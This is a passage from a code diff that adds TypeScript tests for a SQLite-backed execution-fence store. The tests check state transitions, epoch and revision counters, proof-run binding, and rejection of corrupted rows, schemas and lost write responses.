+    ]) {
+      await expect(
+        fence.transition({ ...activation, ...difference }),
+      ).rejects.toBeInstanceOf(FenceTransitionConflictError);
+      expect(rawFence(sqlite)).toEqual(before);
+    }
+    const proof = {
+      ...activation,
+      next: 'proof-only' as const,
+      proofKey: 'key-a',
+    };
+    const other = fenceFixture();
+    await other.fence.transition(proof);
+    await expect(
+      other.fence.transition({ ...proof, proofKey: 'key-b' }),
+    ).rejects.toBeInstanceOf(FenceTransitionConflictError);
+  });
+
+  it('rejects an upgraded stale revision after a same-epoch state cycle', async () => {
+    const { fence } = fenceFixture();
+    const initial = {
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+    } as const;
+    await fence.transition(initial);
+    await fence.transition({
+      expected: 'draining',
+      next: 'open',
+      expectedMutationEpoch: 0,
+      expectedRevision: 1,
+    });
+    await expect(fence.transition(initial)).rejects.toBeInstanceOf(
+      FenceTransitionConflictError,
+    );
+    await expect(fence.read()).resolves.toEqual({
+      state: 'open',
+      ...optionalMetadata,
+      transitionRevision: 2,
+    });
+    await fence.transition({ expected: 'open', next: 'open' });
+    await expect(
+      fence.transition({ ...initial, expectedRevision: 2 }),
+    ).rejects.toBeInstanceOf(FenceTransitionConflictError);
+  });
+
+  it('keeps the artifact epoch and requirement through lock proof and reopen', async () => {
+    const { fence } = fenceFixture();
+    await fence.transition(activation);
+    let expected: ExecutionFenceState = 'draining';
+    let revision = 1;
+    for (const next of [
+      'migration-locked',
+      'proof-only',
+      'open',
+      'open',
+    ] as const) {
+      await expect(
+        fence.transition({
+          expected,
+          next,
+          expectedMutationEpoch: 1,
+          expectedRevision: revision,
+          ...(next === 'proof-only' ? { proofKey: 'proof-a' } : {}),
+        }),
+      ).resolves.toEqual({
+        state: next,
+        mutationEpoch: 1,
+        requireMutationEpoch: true,
+        transitionRevision: ++revision,
+        ...(next === 'proof-only' ? { proofKey: 'proof-a' } : {}),
+      });
+      expected = next;
+    }
+  });
+
+  it('preserves a bound proof run when the entry transition is retried', async () => {
+    const { fence, sqlite } = fenceFixture();
+    const command = {
+      ...activation,
+      next: 'proof-only' as const,
+      proofKey: 'proof-a',
+    };
+    const admitted = await fence.transition(command);
+    expect(await fence.recordProofRun('proof-a', 'run-a', admitted)).toBe(true);
+    const before = rawFence(sqlite);
+    await expect(fence.transition(command)).resolves.toEqual({
+      ...admitted,
+      proofRunId: 'run-a',
+    });
+    expect(rawFence(sqlite)).toEqual(before);
+    await expect(
+      fence.transition({
+        expected: 'proof-only',
+        next: 'proof-only',
+        proofKey: 'proof-a',
+        expectedMutationEpoch: 1,
+        expectedRevision: 1,
+      }),
+    ).resolves.toEqual({ ...admitted, transitionRevision: 2 });
+    expect(rawFence(sqlite).proof_run_id).toBeNull();
+  });
+
+  it('rejects an old proof admission after same-key proof reentry', async () => {
+    const { db, sqlite } = fenceFixture();
+    let now = 20;
+    const fence = new ExecutionFenceStore(db, { now: () => now });
+    const admitted = await fence.transition({
+      ...activation,
+      next: 'proof-only',
+      proofKey: 'proof-a',
+    });
+    await fence.transition({
+      expected: 'proof-only',
+      next: 'migration-locked',
+      expectedMutationEpoch: 1,
+      expectedRevision: 1,
+    });
+    const current = await fence.transition({
+      expected: 'migration-locked',
+      next: 'proof-only',
+      proofKey: 'proof-a',
+      expectedMutationEpoch: 1,
+      expectedRevision: 2,
+    });
+    expect(await fence.recordProofRun('proof-a', 'run-a', admitted)).toBe(
+      false,
+    );
+    expect(await fence.recordProofRun('proof-a', 'run-a', current)).toBe(true);
+    const before = rawFence(sqlite);
+    now = 99;
+    expect(await fence.recordProofRun('proof-a', 'run-a', current)).toBe(true);
+    expect(await fence.recordProofRun('proof-a', 'run-b', current)).toBe(false);
+    expect(rawFence(sqlite)).toEqual(before);
+  });
+
+  it('fences a queued legacy admin write at activation', async () => {
+    for (const legacyFirst of [true, false]) {
+      const { fence, db } = fenceFixture();
+      await fence.seed('open');
+      let triggered = false;
+      const queued = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (!triggered && sql.startsWith('UPDATE')) {
+            triggered = true;
+            if (legacyFirst)
+              await fence.transition({ expected: 'open', next: 'open' });
+            else await fence.transition({ ...activation, next: 'open' });
+          }
+          return execute();
+        }),
+      );
+      await expect(
+        queued.transition(
+          legacyFirst ? activation : { expected: 'open', next: 'draining' },
+        ),
+      ).rejects.toBeInstanceOf(FenceTransitionConflictError);
+      await expect(fence.read()).resolves.toEqual({
+        state: 'open',
+        mutationEpoch: legacyFirst ? 0 : 1,
+        requireMutationEpoch: !legacyFirst,
+        transitionRevision: 1,
+      });
+    }
+  });
+
+  it('captures proof admission counters before storage waits', async () => {
+    for (const advance of [false, true]) {
+      for (const responseLost of [false, true]) {
+        const { fence, db, sqlite } = fenceFixture();
+        const admitted = {
+          ...(await fence.transition({
+            ...activation,
+            next: 'proof-only',
+            proofKey: 'key',
+          })),
+        };
+        const failure = new Error('proof response lost');
+        let replaced = false;
+        const queued = new ExecutionFenceStore(
+          interceptedDatabase(db, async (sql, execute) => {
+            const result = await execute();
+            if (!replaced && sql.startsWith('SELECT *')) {
+              replaced = true;
+              const current = await fence.transition({
+                expected: 'proof-only',
+                next: 'proof-only',
+                proofKey: 'key',
+                expectedMutationEpoch: 1,
+                expectedRevision: 1,
+                advanceMutationEpoch: advance,
+              });
+              admitted.mutationEpoch = current.mutationEpoch;
+              admitted.transitionRevision = current.transitionRevision;
+            }
+            if (responseLost && sql.startsWith('UPDATE')) {
+              expect(await fence.recordProofRun('key', 'run', admitted)).toBe(
+                true,
+              );
+              throw failure;
+            }
+            return result;
+          }),
+        );
+        if (responseLost) {
+          const error = await queued
+            .recordProofRun('key', 'run', admitted)
+            .catch((error: unknown) => error);
+          expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+          expect((error as Error).cause).toBe(failure);
+        } else {
+          expect(await queued.recordProofRun('key', 'run', admitted)).toBe(
+            false,
+          );
+          expect(rawFence(sqlite).proof_run_id).toBeNull();
+        }
+        expect(rawFence(sqlite).transition_revision).toBe(2);
+        expect(rawFence(sqlite).mutation_epoch).toBe(advance ? 2 : 1);
+      }
+    }
+  });
+
+  it('refuses legacy proof binding after activation without upgrading its authority', async () => {
+    const { fence, db, sqlite } = fenceFixture();
+    await fence.transition({
+      expected: 'open',
+      next: 'proof-only',
+      proofKey: 'proof-a',
+    });
+    const queued = new ExecutionFenceStore(
+      interceptedDatabase(db, async (sql, execute) => {
+        if (sql.startsWith('UPDATE'))
+          await fence.transition({
+            expected: 'proof-only',
+            next: 'proof-only',
+            proofKey: 'proof-a',
+            expectedMutationEpoch: 0,
+            expectedRevision: 1,
+            advanceMutationEpoch: true,
+          });
+        return execute();
+      }),
+    );
+    expect(await queued.recordProofRun('proof-a', 'run-a')).toBe(false);
+    expect(rawFence(sqlite).proof_run_id).toBeNull();
+    await expect(fence.read()).resolves.toEqual({
+      state: 'proof-only',
+      proofKey: 'proof-a',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+      transitionRevision: 2,
+    });
+  });
+
+  it('validates the captured advance flag before initialization', async () => {
+    const { fence, sqlite } = fenceFixture();
+    let reads = 0;
+    await expect(
+      fence.transition({
+        ...activation,
+        get advanceMutationEpoch() {
+          reads += 1;
+          return reads === 1 ? 'false' : false;
+        },
+      }),
+    ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError);
+    expect(reads).toBe(1);
+    expect(schemaSnapshot(sqlite)).toEqual([]);
+  });
+
+  it('validates exact counters and never wraps the epoch or revision', async () => {
+    const { fence, sqlite } = fenceFixture();
+    const invalid = [
+      -1,
+      0.5,
+      Number.NaN,
+      Number.POSITIVE_INFINITY,
+      '0',
+      null,
+      true,
+      Number.MAX_SAFE_INTEGER + 1,
+    ];
+    for (const value of invalid) {
+      for (const key of [
+        'expectedMutationEpoch',
+        'expectedRevision',
+      ] as const) {
+        await expect(
+          fence.transition({ ...activation, [key]: value }),
+        ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError);
+      }
+      await expect(
+        fence.recordProofRun('key', 'run', {
+          mutationEpoch: value as number,
+          transitionRevision: 0,
+        }),
+      ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError);
+      await expect(
+        fence.recordProofRun('key', 'run', {
+          mutationEpoch: 0,
+          transitionRevision: value as number,
+        }),
+      ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError);
+    }
+    for (const admitted of [
+      null,
+      {},
+      { mutationEpoch: 0 },
+      { transitionRevision: 0 },
+    ]) {
+      await expect(
+        fence.recordProofRun(
+          'key',
+          'run',
+          // @ts-expect-error runtime validation also rejects untyped partial authority
+          admitted,
+        ),
+      ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError);
+    }
+    for (const input of [
+      {
+        expected: 'open' as const,
+        next: 'open' as const,
+        expectedMutationEpoch: 0,
+      },
+      { expected: 'open' as const, next: 'open' as const, expectedRevision: 0 },
+      {
+        expected: 'open' as const,
+        next: 'open' as const,
+        advanceMutationEpoch: true,
+      },
+      { ...activation, expectedRevision: Number.MAX_SAFE_INTEGER },
+      { ...activation, expectedMutationEpoch: Number.MAX_SAFE_INTEGER },
+      ...[null, 0, 'false'].map((advanceMutationEpoch) => ({
+        ...activation,
+        advanceMutationEpoch,
+      })),
+    ])
+      await expect(fence.transition(input)).rejects.toBeInstanceOf(
+        InvalidExecutionFenceRequestError,
+      );
+    expect(schemaSnapshot(sqlite)).toEqual([]);
+    await fence.seed('open');
+    sqlite.exec(
+      `UPDATE ${EXECUTION_FENCE_TABLE} SET transition_revision = 9007199254740990`,
+    );
+    const maximum = {
+      ...activation,
+      advanceMutationEpoch: false,
+      expectedRevision: Number.MAX_SAFE_INTEGER - 1,
+    };
+    await fence.transition(maximum);
+    await expect(fence.transition(maximum)).resolves.toEqual({
+      state: 'draining',
+      ...optionalMetadata,
+      transitionRevision: Number.MAX_SAFE_INTEGER,
+    });
+    await expect(
+      fence.transition({ expected: 'draining', next: 'open' }),
+    ).rejects.toBeInstanceOf(FenceTransitionConflictError);
+    expect(rawFence(sqlite).transition_revision).toBe(Number.MAX_SAFE_INTEGER);
+
+    const nearMaximumEpoch = fenceFixture();
+    await nearMaximumEpoch.fence.transition(activation);
+    nearMaximumEpoch.sqlite
+      .prepare(
+        `UPDATE ${EXECUTION_FENCE_TABLE} SET mutation_epoch = ?, last_transition_request = ?`,
+      )
+      .run(
+        Number.MAX_SAFE_INTEGER - 1,
+        JSON.stringify([
+          1,
+          'open',
+          'draining',
+          null,
+          Number.MAX_SAFE_INTEGER - 2,
+          0,
+          true,
+        ]),
+      );
+    const lastEpoch = {
+      ...activation,
+      expected: 'draining' as const,
+      next: 'proof-only' as const,
+      proofKey: 'key',
+      expectedMutationEpoch: Number.MAX_SAFE_INTEGER - 1,
+      expectedRevision: 1,
+    };
+    const full = {
+      state: 'proof-only',
+      proofKey: 'key',
+      mutationEpoch: Number.MAX_SAFE_INTEGER,
+      requireMutationEpoch: true,
+      transitionRevision: 2,
+    };
+    await expect(nearMaximumEpoch.fence.transition(lastEpoch)).resolves.toEqual(
+      full,
+    );
+    await expect(nearMaximumEpoch.fence.transition(lastEpoch)).resolves.toEqual(
+      full,
+    );
+    expect(
+      await nearMaximumEpoch.fence.recordProofRun('key', 'run', {
+        mutationEpoch: Number.MAX_SAFE_INTEGER,
+        transitionRevision: 2,
+      }),
+    ).toBe(true);
+    await expect(
+      nearMaximumEpoch.fence.transition({
+        expected: 'proof-only',
+        next: 'open',
+        expectedMutationEpoch: Number.MAX_SAFE_INTEGER,
+        expectedRevision: 2,
+      }),
+    ).resolves.toEqual({
+      state: 'open',
+      mutationEpoch: Number.MAX_SAFE_INTEGER,
+      requireMutationEpoch: true,
+      transitionRevision: 3,
+    });
+  });
+
+  it('rejects malformed receipt bytes and incoherent upgraded rows', async () => {
+    const { fence, sqlite } = fenceFixture();
+    await fence.transition(activation);
+    const corruptions: Record<string, unknown>[] = [
+      { last_transition_request: '{' },
+      { last_transition_request: ' '.repeat(513) },
+      ...[
+        null,
+        {},
+        [],
+        [2, 'open', 'draining', null, 0, 0, true],
+        [1, 'open', 'draining', null, '0', 0, true],
+        [1, 'open', 'draining', null, 0, 0, 1],
+        [1, 'open', 'proof-only', 'bad key', 0, 0, true],
+        [1, 'open', 'draining', 'bad-key', 0, 0, true],
+        [1, 'open', 'draining', null, 0, 0, true, 0],
+      ].map((receipt) => ({
+        last_transition_request: JSON.stringify(receipt),
+      })),
+      { last_transition_request: '[1, "open","draining",null,0,0,true]' },
+      { state: 'open' },
+      { proof_key: 'unexpected' },
+      { proof_run_id: 'unexpected' },
+      { mutation_epoch: 2 },
+      { transition_revision: 2 },
+      { require_mutation_epoch: 0 },
+      { mutation_epoch: 0 },
+      { transition_revision: 0 },
+      { last_transition_request: null },
+    ];
+    const before = rawFence(sqlite);
+    for (const corruption of corruptions) {
+      const columns = Object.keys(corruption);
+      sqlite
+        .prepare(
+          `UPDATE ${EXECUTION_FENCE_TABLE} SET ${columns.map((key) => `${key} = ?`).join(', ')}`,
+        )
+        .run(...Object.values(corruption));
+      for (const action of [
+        () => fence.read(),
+        () => fence.seed('open'),
+        () => fence.transition(activation),
+      ]) {
+        await expect(action()).rejects.toBeInstanceOf(
+          ExecutionFenceUnreadableError,
+        );
+      }
+      sqlite
+        .prepare(
+          `UPDATE ${EXECUTION_FENCE_TABLE} SET ${Object.keys(before)
+            .map((key) => `${key} = ?`)
+            .join(', ')}`,
+        )
+        .run(...Object.values(before));
+    }
+    for (const result of [
+      null,
+      {},
+      { results: null },
+      { results: [undefined] },
+      { results: [before, before] },
+      { results: [{ ...before, transition_revision: 2 }] },
+    ]) {
+      let reads = 0;
+      const wrapped = new ExecutionFenceStore(
+        interceptedDatabase(fenceFixture().db, async (sql, execute) => {
+          if (sql.startsWith('UPDATE')) return result;
+          if (sql.startsWith('SELECT *')) reads += 1;
+          return execute();
+        }),
+      );
+      await wrapped.seed('open');
+      reads = 0;
+      await expect(wrapped.transition(activation)).rejects.toBeInstanceOf(
+        ExecutionFenceUnreadableError,
+      );
+      expect(reads).toBe(3);
+    }
+
+    for (const success of [false, undefined, null, 0, 'true']) {
+      for (const target of ['row', 'schema', 'transition', 'proof'] as const) {
+        const { db, fence: authority } = fenceFixture();
+        const admitted = await authority.transition({
+          ...activation,
+          next: 'proof-only',
+          proofKey: 'key',
+        });
+        let updateReturned = false;
+        let postUpdateReads = 0;
+        const malformed = new ExecutionFenceStore(
+          interceptedDatabase(db, async (sql, execute) => {
+            const result = await execute();
+            if (updateReturned && /^(SELECT|PRAGMA)/.test(sql))
+              postUpdateReads += 1;
+            const selected =
+              target === 'row'
+                ? sql.startsWith('SELECT *')
+                : target === 'schema'
+                  ? sql.startsWith('PRAGMA')
+                  : sql.startsWith('UPDATE');
+            if (!selected) return result;
+            if (sql.startsWith('UPDATE')) updateReturned = true;
+            return { ...(result as { results: unknown[] }), success };
+          }),
+        );
+        const operation =
+          target === 'transition'
+            ? malformed.transition({
+                expected: 'proof-only',
+                next: 'open',
+                expectedMutationEpoch: 1,
+                expectedRevision: 1,
+              })
+            : target === 'proof'
+              ? malformed.recordProofRun('key', 'run', admitted)
+              : malformed.read();
+        await expect(operation).rejects.toBeInstanceOf(
+          ExecutionFenceUnreadableError,
+        );
+        expect(postUpdateReads).toBe(0);
+      }
+    }
+
+    for (const [column, value] of [
+      ['last_transition_request', null],
+      ['transition_revision', '0'],
+      ['mutation_epoch', true],
+      ['require_mutation_epoch', false],
+      ['require_mutation_epoch', '1'],
+    ] as const) {
+      const { db, fence: valid } = fenceFixture();
+      await valid.transition(activation);
+      const malformed = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          const result = await execute();
+          if (!sql.startsWith('SELECT *')) return result;
+          const rows = result as { results: Record<string, unknown>[] };
+          return {
+            results: rows.results.map((row) => ({ ...row, [column]: value })),
+          };
+        }),
+      );
+      await expect(malformed.read()).rejects.toBeInstanceOf(
+        ExecutionFenceUnreadableError,
+      );
+    }
+  });
+
+  it('rejects sparse result rows without uncertain-write recovery', async () => {
+    for (const target of ['row', 'schema', 'transition', 'proof'] as const) {
+      const { fence, db, sqlite } = fenceFixture();
+      const admitted = await fence.transition({
+        ...activation,
+        next: 'proof-only',
+        proofKey: 'key',
+      });
+      let malformedReturned = false;
+      let subsequentReads = 0;
+      const malformed = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (malformedReturned && /^(SELECT|PRAGMA)/.test(sql))
+            subsequentReads += 1;
+          const result = await execute();
+          const selected =
+            target === 'row'
+              ? sql.startsWith('SELECT *')
+              : target === 'schema'
+                ? sql.startsWith('PRAGMA')
+                : sql.startsWith('UPDATE');
+          if (selected) {
+            const rows = result as { results: unknown[] };
+            expect(rows.results.length).toBeGreaterThan(0);
+            delete rows.results[0];
+            malformedReturned = true;
+          }
+          return result;
+        }),
+      );
+      const operation =
+        target === 'transition'
+          ? malformed.transition({
+              expected: 'proof-only',
+              next: 'open',
+              expectedMutationEpoch: 1,
+              expectedRevision: 1,
+            })
+          : target === 'proof'
+            ? malformed.recordProofRun('key', 'run', admitted)
+            : malformed.read();
+      await expect(operation).rejects.toBeInstanceOf(
+        ExecutionFenceUnreadableError,
+      );
+      expect(subsequentReads).toBe(0);
+      if (target === 'transition') expect(rawFence(sqlite).state).toBe('open');
+      if (target === 'proof') expect(rawFence(sqlite).proof_run_id).toBe('run');
+    }
+  });
+
+  it('rejects generated or hidden extra fence columns', async () => {
+    const { fence, sqlite } = fenceFixture();
+    await fence.seed('open');
+    sqlite.exec(
+      `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN invisible TEXT GENERATED ALWAYS AS (state) VIRTUAL`,
+    );
+    expect(
+      sqlite.prepare(`PRAGMA table_info(${EXECUTION_FENCE_TABLE})`).all(),
+    ).toHaveLength(12);
+    expect(
+      sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(),
+    ).toHaveLength(13);
+    const schemaMessage = (reason: string) =>
+      `${EXECUTION_FENCE_TABLE} has an invalid execution-fence schema (${reason})`;
+    for (const action of [() => fence.read(), () => fence.seed('open')]) {
+      await expect(action()).rejects.toMatchObject({
+        cause: {
+          name: 'DeploymentIdentityError',
+          message: schemaMessage('unexpected columns'),
+        },
+      });
+    }
+    for (const [schema, diagnostic] of [
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'last_transition_request TEXT',
+          'last_transition_request INTEGER',
+        ),
+        'column last_transition_request differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'last_transition_request TEXT',
+          'last_transition_request TEXT DEFAULT NULL',
+        ),
+        'column last_transition_request differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'transition_revision INTEGER NOT NULL DEFAULT 0',
+          "transition_revision INTEGER NOT NULL DEFAULT '0'",
+        ),
+        'column transition_revision differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'proof_key TEXT,\n    proof_run_id TEXT',
+          'proof_run_id TEXT,\n    proof_key TEXT',
+        ),
+        'column proof_key differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'last_transition_request TEXT',
+          'other_receipt TEXT',
+        ),
+        'column last_transition_request differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'proof_key TEXT,',
+          'proof_key TEXT GENERATED ALWAYS AS (state) VIRTUAL,',
+        ),
+        'column proof_key differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'proof_table_prefix TEXT',
+          'proof_table_prefix INTEGER',
+        ),
+        'column proof_table_prefix differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          'proof_start_token TEXT',
+          'proof_start_token TEXT DEFAULT NULL',
+        ),
+        'column proof_start_token differs',
+      ],
+      [
+        EXECUTION_FENCE_DDL.replace(
+          /\n {2}\)$/,
+          ',\n    future_column TEXT\n  )',
+        ),
+        'unexpected columns',
+      ],
+    ] as const) {
+      const malformed = fenceFixture();
+      malformed.sqlite.exec(schema);
+      malformed.sqlite.exec(
+        `INSERT INTO ${EXECUTION_FENCE_TABLE} (id, state, updated_at) VALUES ('deployment', 'open', 19)`,
+      );
+      const before = rawFence(malformed.sqlite);
+      const writes: string[] = [];
+      const observed = new ExecutionFenceStore(
+        interceptedDatabase(malformed.db, async (sql, execute) => {
+          if (/^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)) writes.push(sql);
+          return execute();
+        }),
+      );
+      for (const action of [
+        () => observed.read(),
+        () => observed.seed('open'),
+      ]) {
+        await expect(action()).rejects.toMatchObject({
+          cause: {
+            name: 'DeploymentIdentityError',
+            message: schemaMessage(diagnostic),
+          },
+        });
+      }
+      expect(writes).toEqual([]);
+      expect(rawFence(malformed.sqlite)).toEqual(before);
+    }
+  });
+
+  it('distinguishes proof misses from missing or malformed modern state', async () => {
+    for (const outcome of [
+      'missing',
+      'malformed',
+      'changed',
+      'competing-bind',
+    ] as const) {
+      const { fence, sqlite, db } = fenceFixture();
+      const admitted = await fence.transition({
+        ...activation,
+        next: 'proof-only',
+        proofKey: 'key',
+      });
+      const raced = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (!sql.startsWith('UPDATE')) return execute();
+          if (outcome === 'missing')
+            sqlite.exec(`DELETE FROM ${EXECUTION_FENCE_TABLE}`);
+          else if (outcome === 'malformed')
+            sqlite.exec(
+              `UPDATE ${EXECUTION_FENCE_TABLE} SET last_transition_request = 'broken', proof_key = 'different-key'`,
+            );
+          else if (outcome === 'changed')
+            await fence.transition({
+              expected: 'proof-only',
+              next: 'open',
+              expectedMutationEpoch: 1,
+              expectedRevision: 1,
+            });
+          else await fence.recordProofRun('key', 'other-run', admitted);
+          const result = await execute();
+          if (outcome === 'competing-bind') {
+            sqlite.exec(
+              `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_run_id = NULL`,
+            );
+            await fence.recordProofRun('key', 'run', admitted);
+          }
+          return result;
+        }),
+      );
+      if (outcome === 'missing' || outcome === 'malformed')
+        await expect(
+          raced.recordProofRun('key', 'run', admitted),
+        ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+      else
+        expect(await raced.recordProofRun('key', 'run', admitted)).toBe(false);
+    }
+  });
+
+  it('preserves write uncertainty when readback cannot prove the exact command', async () => {
+    for (const outcome of [
+      'before',
+      'readback-fails',
+      'intervening',
+    ] as const) {
+      const { db, fence } = fenceFixture();
+      await fence.seed('open');
+      const failure = new Error('lost write response');
+      let wrote = false;
+      const uncertain = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (sql.startsWith('UPDATE')) {
+            wrote = true;
+            if (outcome !== 'before') await execute();
+            if (outcome === 'intervening')
+              await fence.transition({
+                expected: 'draining',
+                next: 'open',
+                expectedMutationEpoch: 1,
+                expectedRevision: 1,
+              });
+            throw failure;
+          }
+          if (wrote && outcome === 'readback-fails')
+            throw new Error('readback failed');
+          return execute();
+        }),
+      );
+      const error = await uncertain
+        .transition(activation)
+        .catch((error: unknown) => error);
+      expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+      expect((error as Error).cause).toBe(failure);
+    }
+    for (const versioned of [false, true]) {
+      const { fence, db, sqlite } = fenceFixture();
+      const admitted = await fence.transition({
+        ...activation,
+        next: 'proof-only',
+        proofKey: 'key',
+        advanceMutationEpoch: versioned,
+      });
+      const lost = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          const result = await execute();
+          if (sql.startsWith('UPDATE')) throw new Error('lost proof response');
+          return result;
+        }),
+      );
+      expect(
+        await lost.recordProofRun(
+          'key',
+          'run',
+          versioned ? admitted : undefined,
+        ),
+      ).toBe(true);
+      expect(rawFence(sqlite).proof_run_id).toBe('run');
+      expect(rawFence(sqlite).transition_revision).toBe(1);
+    }
+  });
+
+  it('runs all persistence operations on a database without batch', async () => {
+    const { db: backing } = fenceFixture();
+    const db = { prepare: (sql: string) => backing.prepare(sql) };
+    const fence = new ExecutionFenceStore(
+      interceptedDatabase(db, async (_sql, execute) => {
+        const result = await execute();
+        if (result && typeof result === 'object' && 'results' in result)
+          return { results: result.results };
+        return result;
+      }),
+    );
+    expect('batch' in db).toBe(false);
+    await fence.seed('proof-only');
+    const admitted = await fence.transition({
+      expected: 'proof-only',
+      next: 'proof-only',
+      proofKey: 'key',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+    });
+    expect(await fence.recordProofRun('key', 'run', admitted)).toBe(true);
+    await expect(fence.read()).resolves.toEqual({
+      ...admitted,
+      proofRunId: 'run',
+    });
+  });
+});
+
 describe('execution fence admission predicates', () => {
   it('admits a run START only in open, or in proof-only with the exact key', () => {
     expect(admitsRunStart(reading('open'))).toBe(true);
@@ -463,7 +2128,7 @@ describe('execution fence admission predicates', () => {
       proofKey: 'proof-1',
       proofRunId: 'run-1',
     });
-    expect(admitsExistingRun(proof, 'run-1')).toBe(true);
+    expect(admitsExistingRun(proof, 'run-1')).toBe(false);
     expect(admitsExistingRun(proof, 'run-2')).toBe(false);
     expect(admitsExistingRun(proof)).toBe(false);
     expect(admitsExistingRun(reading('proof-only'), 'run-1')).toBe(false);
@@ -557,6 +2222,7 @@ describe('init() fence wiring', () => {
     await executionFence?.seed('draining');
     await expect(runtime.executionFence?.read()).resolves.toEqual({
       state: 'draining',
+      ...optionalMetadata,
     });
     expect(
       schemaSnapshot(sqlite).some(
@@ -574,11 +2240,11 @@ describe('init() fence wiring', () => {
     expect(runtime.executionFence).toBeUndefined();
   });
 
-  it('takes a shared store for a { storage } source', async () => {
+  it('takes a shared store for a { DB } source', async () => {
     const { fence } = fenceFixture();
     const { runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: fence },
+      { DB: databaseForFence(fence) },
+      { executionFence: fence },
     );
 
     expect(runtime.executionFence).toBe(fence);
@@ -601,7 +2267,9 @@ describe('init() fence wiring', () => {
 // is resumed, so a single fixture covers both start and resume.
 function fencedRuntime(fence: ExecutionFenceStore): RunnerRuntime {
   const { createWorkflow, createStep, runtime } = init(
-    { storage: new InMemoryStore() },
+    fenceDatabases.has(fence)
+      ? { DB: databaseForFence(fence) }
+      : { storage: new InMemoryStore() },
     { startIdempotency: 'none', executionFence: fence },
   );
   const gate = createStep({
@@ -624,6 +2292,77 @@ function fencedRuntime(fence: ExecutionFenceStore): RunnerRuntime {
 }
 
 describe('RunnerRuntime enforcement', () => {
+  it('FS8 D3 proof activation binds current Runtime provenance and refuses string-only proof', async () => {
+    const { sqlite, db } = fenceFixture();
+    const {
+      createStep,
+      createWorkflow,
+      runtime,
+      executionFence,
+      startIdempotency,
+    } = init({ DB: db });
+    await executionFence?.seed('open');
+    const step = createStep({
+      id: 'finish',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ done: z.boolean() }),
+      execute: async () => ({ done: true }),
+    });
+    createWorkflow({
+      id: 'unchanged',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ done: z.boolean() }),
+    })
+      .then(step)
+      .commit();
+    if (!startIdempotency) throw new Error('fixture reservation store missing');
+    const reserved = await startIdempotency.reserve({
+      key: 'key',
+      owner: { kind: 'human', id: 'owner' },
+      targetKind: 'workflow',
+      targetId: 'unchanged',
+      mintRunId: () => 'run',
+    });
+    const claim = await startIdempotency.claimReservation(reserved.reservation);
+    if (!claim) throw new Error('claim missing');
+    const result = await runtime.start('unchanged', {
+      runId: 'run',
+      inputData: {},
+      requestedBy: 'owner',
+      requestedByKind: 'human',
+      idempotencyKey: 'key',
+      startReservation: claim,
+    });
+    expect(result.status).toBe('success');
+    const row = sqlite
+      .prepare(
+        'SELECT snapshot FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+      )
+      .get('unchanged', 'run') as { snapshot: string };
+    expect(
+      JSON.parse(row.snapshot).requestContext['flowsafe.runProvenance'].version,
+    ).toBe(2);
+    expect(await startIdempotency?.read('key')).toMatchObject({
+      state: 'terminal',
+      binding: { kind: 'bound' },
+    });
+    expect(
+      admitsExistingRun(
+        {
+          state: 'proof-only',
+          proofRunId: 'run',
+          proofExecution: {
+            tablePrefix: 'other_',
+            workflowId: 'other',
+            runId: 'run',
+            startToken: 'generation',
+          },
+        },
+        'run',
+      ),
+    ).toBe(false);
+  });
+
   it('starts and resumes freely while open', async () => {
     const { fence } = fenceFixture();
     await fence.seed('open');
@@ -705,16 +2444,31 @@ describe('RunnerRuntime enforcement', () => {
     ).rejects.toBeInstanceOf(ExecutionFencedError);
 
     // #and — the nominated start is admitted, and BINDS the proof run.
+    const store = new StartIdempotencyStore(databaseForFence(fence));
+    const reserved = await store.reserve({
+      key: 'proof-key-1',
+      owner: { kind: 'human', id: 'owner' },
+      targetKind: 'workflow',
+      targetId: 'gated',
+      mintRunId: () => 'proof-run',
+    });
+    const claim = await store.claimReservation(reserved.reservation);
+    if (!claim) throw new Error('claim missing');
     const started = await runtime.start('gated', {
       runId: 'proof-run',
       idempotencyKey: 'proof-key-1',
+      requestedBy: 'owner',
+      requestedByKind: 'human',
+      startReservation: claim,
       inputData: {},
     });
     expect(started.status).toBe('suspended');
-    await expect(fence.read()).resolves.toEqual({
+    await expect(fence.read()).resolves.toMatchObject({
       state: 'proof-only',
       proofKey: 'proof-key-1',
       proofRunId: 'proof-run',
+      ...optionalMetadata,
+      transitionRevision: 1,
     });
 
     // #and — a SECOND start under the same key is refused: the proof is one
@@ -725,7 +2479,7 @@ describe('RunnerRuntime enforcement', () => {
         idempotencyKey: 'proof-key-1',
         inputData: {},
       }),
-    ).rejects.toBeInstanceOf(ExecutionFencedError);
